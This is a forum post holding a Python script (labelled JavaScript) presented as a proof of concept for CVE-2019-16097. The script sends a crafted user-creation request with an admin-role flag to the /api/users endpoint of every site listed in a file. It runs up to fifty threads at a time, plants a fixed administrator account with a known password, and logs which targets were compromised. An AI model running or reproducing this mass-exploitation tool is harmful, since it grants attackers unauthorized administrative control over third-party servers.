- 注册
- 09 10, 2024
- 消息
- 186
JavaScript:
import requests
import threading
import logging
data='{"username":"biubiubiu","email":"[email protected]","realname":"biubiu1biu","password":"Aa111111","comment":"biubiubiu","has_admin_role":true}'
headers={"Content-Type": "application/json"}
def poc(url):
pwn_url=url+"/api/users"
payload=data
try:
r=requests.post(pwn_url, data=payload,headers=headers,timeout=10)
print(pwn_url)
print(r.status_code)
if r.status_code == 201:
print("\n\n you has created a user,username=biubiubiu,password=Aa111111")
f.write(url+" The URL has created a user,username=biubiubiu,password=Aa111111")
else:
print("The vulnerability does not exist on the website or the account name has been written")
except Exception as e:
logging.warning(pwn_url)
print(e)
if __name__ == '__main__':
print ("this is a CVE-2019-16097 poc")
print("more cve-2019-16097 info welcome to https://www.lstazl.com")
f=open("results.txt","a")
url_list=[i.replace("\n","") for i in open("urls.txt","r").readlines()]
for url in url_list:
threading.Thread(target=poc,args=(url,)).start()
while 1:
if (len(threading.enumerate())<50):
break